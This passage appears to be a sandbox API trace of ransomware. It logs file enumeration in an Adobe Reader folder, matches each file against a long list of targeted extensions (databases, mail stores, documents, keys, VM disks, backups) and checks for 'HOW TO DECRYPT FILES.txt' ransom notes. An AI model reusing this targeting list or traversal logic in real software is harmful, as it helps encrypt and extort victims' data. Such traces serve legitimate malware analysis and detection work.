(lpString="*.mbox") returned 6 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.eml") returned 0 [0070.398] lstrlenA (lpString="*.eml") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.pst") returned 0 [0070.398] lstrlenA (lpString="*.pst") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.ost") returned 0 [0070.398] lstrlenA (lpString="*.ost") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.idx") returned 0 [0070.398] lstrlenA (lpString="*.idx") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.dbx") returned 0 [0070.398] lstrlenA (lpString="*.dbx") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.sql") returned 0 [0070.398] lstrlenA (lpString="*.sql") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mdb") returned 0 [0070.398] lstrlenA (lpString="*.mdb") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.fdb") returned 0 [0070.398] lstrlenA (lpString="*.fdb") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.wab") returned 0 [0070.398] lstrlenA (lpString="*.wab") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.dat") returned 0 [0070.398] lstrlenA (lpString="*.dat") returned 5 [0070.398] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.txt") returned 0 [0070.398] lstrlenA (lpString="*.txt") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.jpeg") returned 0 [0070.399] lstrlenA (lpString="*.jpeg") returned 6 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.jpg") returned 0 [0070.399] lstrlenA (lpString="*.jpg") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.png") returned 0 [0070.399] lstrlenA (lpString="*.png") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.php") returned 0 [0070.399] lstrlenA (lpString="*.php") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.cs") returned 0 [0070.399] lstrlenA (lpString="*.cs") returned 4 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.cpp") returned 0 [0070.399] lstrlenA (lpString="*.cpp") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.rar") returned 0 [0070.399] lstrlenA (lpString="*.rar") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.zip") returned 0 [0070.399] lstrlenA (lpString="*.zip") returned 5 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.html") returned 0 [0070.399] lstrlenA (lpString="*.html") returned 6 [0070.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.htm") returned 0 [0070.399] lstrlenA (lpString="*.htm") returned 5 [0070.400] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.xlsx") returned 0 [0070.400] lstrlenA (lpString="*.xlsx") returned 6 [0070.400] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.xls") returned 0 [0070.400] lstrlenA (lpString="*.xls") returned 5 [0070.400] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mp4") returned 0 [0070.400] lstrlenA (lpString="*.mp4") returned 5 [0070.400] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.ppt") returned 0 [0070.400] lstrlenA (lpString="*.ppt") returned 5 [0070.400] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.pptx") returned 0 [0070.401] lstrlenA (lpString="*.pptx") returned 6 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.doc") returned 0 [0070.401] lstrlenA (lpString="*.doc") returned 5 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.dot") returned 0 [0070.401] lstrlenA (lpString="*.dot") returned 5 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.docx") returned 0 [0070.401] lstrlenA (lpString="*.docx") returned 6 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.7z") returned 0 [0070.401] lstrlenA (lpString="*.7z") returned 4 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.tar") returned 0 [0070.401] lstrlenA (lpString="*.tar") returned 5 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.bz2") returned 0 [0070.401] lstrlenA (lpString="*.bz2") returned 5 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.gz") returned 0 [0070.401] lstrlenA (lpString="*.gz") returned 4 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mkv") returned 0 [0070.401] lstrlenA (lpString="*.mkv") returned 5 [0070.401] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.eml") returned 0 [0070.401] lstrlenA (lpString="*.eml") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.msg") returned 0 [0070.402] lstrlenA (lpString="*.msg") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.edb") returned 0 [0070.402] lstrlenA (lpString="*.edb") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.accdb") returned 0 [0070.402] lstrlenA (lpString="*.accdb") returned 7 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.odb") returned 0 [0070.402] lstrlenA (lpString="*.odb") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.java") returned 0 [0070.402] lstrlenA (lpString="*.java") returned 6 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.asm") returned 0 [0070.402] lstrlenA (lpString="*.asm") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.pfx") returned 0 [0070.402] lstrlenA (lpString="*.pfx") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.pem") returned 0 [0070.402] lstrlenA (lpString="*.pem") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.p12") returned 0 [0070.402] lstrlenA (lpString="*.p12") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.gpg") returned 0 [0070.402] lstrlenA (lpString="*.gpg") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.vsd") returned 0 [0070.402] lstrlenA (lpString="*.vsd") returned 5 [0070.402] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.odg") returned 0 [0070.402] lstrlenA (lpString="*.odg") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.raw") returned 0 [0070.403] lstrlenA (lpString="*.raw") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.nef") returned 0 [0070.403] lstrlenA (lpString="*.nef") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.svg") returned 0 [0070.403] lstrlenA (lpString="*.svg") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.psd") returned 0 [0070.403] lstrlenA (lpString="*.psd") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.vmx") returned 0 [0070.403] lstrlenA (lpString="*.vmx") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.vmdk") returned 0 [0070.403] lstrlenA (lpString="*.vmdk") returned 6 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.vdi") returned 0 [0070.403] lstrlenA (lpString="*.vdi") returned 5 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.lay6") returned 0 [0070.403] lstrlenA (lpString="*.lay6") returned 6 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mpeg") returned 0 [0070.403] lstrlenA (lpString="*.mpeg") returned 6 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.djvu") returned 0 [0070.403] lstrlenA (lpString="*.djvu") returned 6 [0070.403] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.tiff") returned 0 [0070.404] lstrlenA (lpString="*.tiff") returned 6 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.backup") returned 0 [0070.404] lstrlenA (lpString="*.backup") returned 8 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.pdf") returned 0 [0070.404] lstrlenA (lpString="*.pdf") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.cert") returned 0 [0070.404] lstrlenA (lpString="*.cert") returned 6 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.docm") returned 0 [0070.404] lstrlenA (lpString="*.docm") returned 6 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.xlsm") returned 0 [0070.404] lstrlenA (lpString="*.xlsm") returned 6 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.dwg") returned 0 [0070.404] lstrlenA (lpString="*.dwg") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.nd") returned 0 [0070.404] lstrlenA (lpString="*.nd") returned 4 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.tlg") returned 0 [0070.404] lstrlenA (lpString="*.tlg") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.lgb") returned 0 [0070.404] lstrlenA (lpString="*.lgb") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mov") returned 0 [0070.404] lstrlenA (lpString="*.mov") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.xdw") returned 0 [0070.404] lstrlenA (lpString="*.xdw") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.ods") returned 0 [0070.404] lstrlenA (lpString="*.ods") returned 5 [0070.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.wav") returned 0 [0070.405] lstrlenA (lpString="*.wav") returned 5 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mp3") returned 0 [0070.405] lstrlenA (lpString="*.mp3") returned 5 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.aiff") returned 0 [0070.405] lstrlenA (lpString="*.aiff") returned 6 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.flac") returned 0 [0070.405] lstrlenA (lpString="*.flac") returned 6 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.m4a") returned 0 [0070.405] lstrlenA (lpString="*.m4a") returned 5 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.csv") returned 0 [0070.405] lstrlenA (lpString="*.csv") returned 5 [0070.405] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="ADOBEC~1.CAT")) returned 1 [0070.405] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.405] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeCollabSync.CAT") returned 1 [0070.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeCollabSync.CAT") returned 1 [0070.405] lstrcmpiA (lpString1="", lpString2="AdobeCollabSync.CAT") returned -1 [0070.405] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT") returned="Acroform.CAT" [0070.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.405] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.405] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.405] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.405] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="AdobeCollabSync.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.ems") returned 0 [0070.405] lstrlenA (lpString="*.ems") returned 5 [0070.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.db") returned 0 [0070.406] lstrlenA (lpString="*.db") returned 4 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.dbf") returned 0 [0070.406] lstrlenA (lpString="*.dbf") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.myox") returned 0 [0070.406] lstrlenA (lpString="*.myox") returned 6 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.myo") returned 0 [0070.406] lstrlenA (lpString="*.myo") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbw") returned 0 [0070.406] lstrlenA (lpString="*.qbw") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbb") returned 0 [0070.406] lstrlenA (lpString="*.qbb") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbm") returned 0 [0070.406] lstrlenA (lpString="*.qbm") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbo") returned 0 [0070.406] lstrlenA (lpString="*.qbo") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbx") returned 0 [0070.406] lstrlenA (lpString="*.qbx") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qba") returned 0 [0070.406] lstrlenA (lpString="*.qba") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qby") returned 0 [0070.406] lstrlenA (lpString="*.qby") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qbj") returned 0 [0070.406] lstrlenA (lpString="*.qbj") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.ofx") returned 0 [0070.406] lstrlenA (lpString="*.ofx") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.qif") returned 0 [0070.406] lstrlenA (lpString="*.qif") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.mye") returned 0 [0070.406] lstrlenA (lpString="*.mye") returned 5 [0070.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.mbox") returned 0 [0070.407] lstrlenA (lpString="*.mbox") returned 6 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.eml") returned 0 [0070.407] lstrlenA (lpString="*.eml") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.pst") returned 0 [0070.407] lstrlenA (lpString="*.pst") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.ost") returned 0 [0070.407] lstrlenA (lpString="*.ost") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.idx") returned 0 [0070.407] lstrlenA (lpString="*.idx") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.dbx") returned 0 [0070.407] lstrlenA (lpString="*.dbx") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.sql") returned 0 [0070.407] lstrlenA (lpString="*.sql") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.mdb") returned 0 [0070.407] lstrlenA (lpString="*.mdb") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.fdb") returned 0 [0070.407] lstrlenA (lpString="*.fdb") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.wab") returned 0 [0070.407] lstrlenA (lpString="*.wab") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.dat") returned 0 [0070.407] lstrlenA (lpString="*.dat") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.txt") returned 0 [0070.407] lstrlenA (lpString="*.txt") returned 5 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.jpeg") returned 0 [0070.407] lstrlenA (lpString="*.jpeg") returned 6 [0070.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.jpg") returned 0 [0070.407] lstrlenA (lpString="*.jpg") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.png") returned 0 [0070.408] lstrlenA (lpString="*.png") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.php") returned 0 [0070.408] lstrlenA (lpString="*.php") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.cs") returned 0 [0070.408] lstrlenA (lpString="*.cs") returned 4 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.cpp") returned 0 [0070.408] lstrlenA (lpString="*.cpp") returned 5 [0070.408] 